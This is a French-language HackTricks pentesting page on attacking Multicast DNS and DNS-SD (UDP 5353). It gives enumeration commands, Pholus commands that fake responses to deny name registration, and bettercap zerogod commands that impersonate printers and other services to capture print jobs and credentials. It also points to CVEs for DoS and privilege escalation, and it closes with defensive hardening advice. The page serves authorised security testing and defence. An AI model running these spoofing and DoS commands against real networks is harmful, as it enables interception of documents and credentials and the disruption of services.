5353/UDP Multicast DNS (mDNS) et DNS-SD
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Multicast DNS (mDNS) permet une rĂ©solution de noms de type DNS et la dĂ©couverte de services Ă lâintĂ©rieur dâun lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typiquement utilisĂ© avec mDNS) fournit un moyen standardisĂ© dâĂ©numĂ©rer et de dĂ©crire les services via les enregistrements PTR, SRV et TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Key protocol details youâll often leverage during attacks:
- Les noms dans la zone .local sont résolus via mDNS.
- Le bit QU (Query Unicast) peut demander des rĂ©ponses unicast mĂȘme pour des requĂȘtes multicast.
- Les implĂ©mentations devraient ignorer les paquets dont la source nâest pas le lien local ; certaines stacks les acceptent encore.
- Probing/announcing impose lâunicitĂ© des noms dâhĂŽtes/services ; interfĂ©rer ici crĂ©e des conditions de DoS/âname squattingâ.
DNS-SD service model
Les services sont identifiés comme _
Network Exploration and Enumeration
- scan nmap dâune cible (mDNS direct sur un hĂŽte) :
nmap -sU -p 5353 --script=dns-service-discovery <target>
- découverte broadcast nmap (écoute du segment et énumération de tous les types/instances DNS-SD) :
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux) :
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS) :
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Capture de paquets avec tshark :
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Astuce : Certains navigateurs/WebRTC utilisent des noms dâhĂŽte mDNS Ă©phĂ©mĂšres pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le rĂ©seau, rĂ©solvez-les via mDNS pour effectuer un pivot vers les IP locales.
Attacks
Interférence au stade de probing du nom mDNS (DoS / name squatting)
Pendant la phase de probing, un hĂŽte vĂ©rifie lâunicitĂ© dâun nom. RĂ©pondre avec des conflits falsifiĂ©s le force Ă choisir de nouveaux noms ou Ă Ă©chouer. Cela peut retarder ou empĂȘcher lâenregistrement et la dĂ©couverte des services.
Exemple avec Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Impersonate les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour contraindre des clients à se connecter à vous. Ceci est particuliÚrement utile pour :
- Récupérer des documents en spoofing _ipp._tcp ou _printer._tcp.
- Leurrer des clients vers des services HTTP/HTTPS pour récolter tokens/cookies ou livrer payloads.
- Combiner avec NTLM relay lorsque des clients Windows nĂ©gocient lâauth vers des services spoofed.
Avec le module zerogod de bettercap (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Voir aussi les workflows gĂ©nĂ©riques de spoofing LLMNR/NBNS/mDNS/WPAD et de capture/relay dâidentifiants :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notes sur les problĂšmes dâimplĂ©mentation rĂ©cents (utile pour DoS/persistance lors dâengagements)
- Les bugs Avahi reachable-assertion et D-Bus crash (2023) peuvent terminer avahi-daemon sur des distributions Linux (par ex. CVE-2023-38469..38473, CVE-2023-1981), perturbant la dĂ©couverte de services sur les hĂŽtes cibles jusquâau redĂ©marrage.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) permet Ă des clients WLAN adjacents dâinonder le contrĂŽleur avec des mDNS fabriquĂ©s, provoquant un pic CPU du WLC et la chute des tunnels AP â utile si vous devez forcer le roaming des clients ou des resets de contrĂŽleur pendant un engagement.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) permet à un processus local sandboxé de planter Bonjour pour supprimer briÚvement la publication/la découverte de services sur des endpoints Apple ; corrigé dans les versions iOS/macOS courantes.
- Apple mDNSResponder correctness issue (CVE-2025-31222) a permis une élévation de privilÚges locale via mDNSResponder ; utile pour la persistance sur Macs/iPhones non gérés, corrigé dans les récents correctifs iOS/macOS.
Considérations Browser/WebRTC mDNS
Les versions récentes de Chromium/Firefox rendent opaques les host candidates avec des noms mDNS aléatoires. Vous pouvez ré-exposer les IP LAN sur des endpoints gérés en poussant la policy Chrome WebRtcLocalIpsAllowedUrls (ou en basculant chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/équivalent Edge) de sorte que ICE expose les host candidates au lieu de mDNS ; définir via HKLM\Software\Policies\Google\Chrome.
Quand les utilisateurs dĂ©sactivent la protection manuellement (courant dans les guides de dĂ©pannage WebRTC), leurs navigateurs recommencent Ă annoncer des host candidates en clair, que vous pouvez capturer via mDNS ou ICE signaling pour accĂ©lĂ©rer la dĂ©couverte dâhĂŽtes.
Considérations défensives et OPSEC
- Limites de segmentation : ne routez pas 224.0.0.251/FF02::FB entre zones de sécurité sauf si un mDNS gateway est explicitement requis. Si vous devez relier la découverte, privilégiez des allowlists et des limites de débit.
- Endpoints/serveurs Windows :
- Pour désactiver totalement la résolution de noms via mDNS, définissez la valeur de registre et redémarrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Dans des environnements gĂ©rĂ©s, dĂ©sactivez la rĂšgle intĂ©grĂ©e « mDNS (UDP-In) » de Windows Defender Firewall (au moins sur le profil Domaine) pour empĂȘcher le traitement mDNS entrant tout en prĂ©servant la fonctionnalitĂ© Ă domicile/nomade.
- Sur les builds Windows 11 rĂ©cents/templates GPO, utilisez la policy âComputer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocolâ et dĂ©finissez-la sur Disabled.
- Linux (Avahi) :
- Restreignez la publication lorsque ce nâest pas nĂ©cessaire : dĂ©finissez
disable-publishing=yes, et restreignez les interfaces avecallow-interfaces=/deny-interfaces=dans/etc/avahi/avahi-daemon.conf. - Envisagez
check-response-ttl=yeset Ă©vitezenable-reflector=yessauf si strictement nĂ©cessaire ; prĂ©fĂ©rez des allowlistsreflect-filters=lors de la rĂ©flexion. - macOS : restreignez le mDNS entrant au niveau des firewalls hĂŽte/rĂ©seau lorsque la dĂ©couverte Bonjour nâest pas nĂ©cessaire pour certains sous-rĂ©seaux.
- Monitoring : alertez sur des pics inhabituels de requĂȘtes
_services._dns-sd._udp.localou des changements soudains de SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou dâusurpation de service.
Référence rapide des outils
- nmap NSE:
dns-service-discoveryetbroadcast-dns-service-discovery. - Pholus: scan actif, balayages mDNS inverses, helpers DoS et spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
Lâattaque la plus intĂ©ressante que vous pouvez rĂ©aliser via ce service est dâeffectuer un MitM dans la communication entre le client et le vrai serveur. Vous pourriez obtenir des fichiers sensibles (MitM de la communication avec lâimprimante) ou mĂȘme des identifiants (Windows authentication).
Pour plus dâinformations, consultez :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Références
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


